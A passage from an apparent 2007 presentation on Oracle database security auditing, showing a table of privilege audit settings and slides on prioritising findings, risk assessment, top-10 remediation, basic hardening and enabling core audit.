<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>AUDIT SYSTEM</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE ANY JOB</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE ANY LIBRARY</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE ANY PROCEDURE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE ANY TABLE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE EXTERNAL JOB</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE PUBLIC DATABASE LINK</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE SESSION</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>CREATE USER</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>DROP ANY PROCEDURE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>DROP ANY TABLE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>DROP PROFILE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>DROP USER</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>EXEMPT ACCESS POLICY</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>GRANT ANY OBJECT PRIVILEGE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>GRANT ANY PRIVILEGE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>GRANT ANY ROLE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>ROLE</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
<tr>
<td>SYSTEM AUDIT</td>
<td>BY ACCESS</td>
<td>BY ACCESS</td>
</tr>
</tbody>
</table>

25 rows selected.

SQL>
```

This SQL shows the statement and privilege audit settings.

---

**Note:** The content is a data query demonstrating the specifics of audit options and success/failure settings in a database environment. It is crucial for database administrators to regularly review and adjust audit settings to ensure that security and operational integrity are maintained.

---

*09/12/2007 Copyright (c) 2007 PeteFinnigan.com Limited*
Audit Checks

Unfortunately this view is common!
Part 3 - Conclusions

- Write up a report of the audit
- prioritise
- What to do when you have collated a list of problems to fix
- Deciding what to fix, how to fix, can you fix
- Basic hardening – i.e. these are the things you should really fix
What To Do Next – Panic?

- Write up the audit formally
- Prioritise the findings – Severity 1 – 3?
- Use internal procedures
- Other platforms can help (e.g. use your OS experience if you have it)
- Assess risk
- This is the hardest part of the audit process
Create A Policy

- Perform an Oracle database audit
- Define what the key/critical issues are
- Determine / decide what to fix
- Work on a top 20 basis and cycle (This is effective for new hardening)
- Create a baseline standard
  - A document
  - Scripts – maybe for BMC
  - Commercial tool such as AppDetective
Decide What To Fix

• Perform a risk assessment
• My extensive experience of auditing Oracle databases is that there are:
  – Usually a lot of security issues
  – Usually a lot are serious – i.e. server access could be gained if the issue is not plugged
  – There are constraints on the applications, working practice, practicality of fixing
• The best approach is to classify issues
  – Must fix now (really serious), fix as soon as possible, fix when convenient, maybe more
• Create a top ten / twenty approach
Perform A Risk Assessment

- To understand what to fix and to what level you must understand risk.
- What is the “cost” to your company / organisation if:
  - A breach occurred
  - A total system loss
- Cost can include media embarasment
- Frameworks and tools available – CRAMM, CobIT
- Do it as a simple meeting with the right people
Top 10 Approach

- Pick out the top 10 highest severity issues
- Devise solutions that work for all of them
- Roll out the solutions
  - Test
  - Regression test
  - Make live
- Devise automated checks for these ten – could be simple scripts
- Start on the next ten!
Basic Hardening

- Harden the operating system first
- Reduce the features and functions installed – on the operating system and in the database
- Review RBAC for all users and group users
- Test all user accounts for weak passwords and set strong complex ones
## Hardening (2)

- Devise profiles for all user groups and implement
- Remove defaults – privileges, users, passwords
- Decide on secure configuration settings
- Clean up – remove ad-hoc files, scripts, examples
- Create processes and policies to ensure secure data going forward
Enable Database Auditing

- Every database I have ever audited has no database audit enabled – ok a small number do, but usually the purpose if for management / work / ??? but not for audit purposes.
- Core audit doesn’t kill performance
  - Oracle have recommended 24 core system audit settings since 10gR2 – these can be enabled and added to in earlier databases
  - Avoid object audit unless you analyse access trends then its Ok
- On Windows audit directed to the OS goes to the event Log
- By default all SYSDBA connections are audited – also to the event log on Windows
- VBScript / SQL can be used to access the event log
Conclusions

• Plan in advance
• Understand the threats
• Understand how Oracle can be hacked
• Then decide what to audit
• Keep it simple and build on manual processes and simple scripts – this way you will understand what you are checking
• Don’t panic; the top 10 approach is good
Any Questions?
Contact - Pete Finnigan

PeteFinnigan.com Limited
9 Beech Grove, Acomb
York, YO26 5LD

Phone: +44 (0) 1904 791188
Mobile: +44 (0) 7742 114223
Email: pete@petefinnigan.com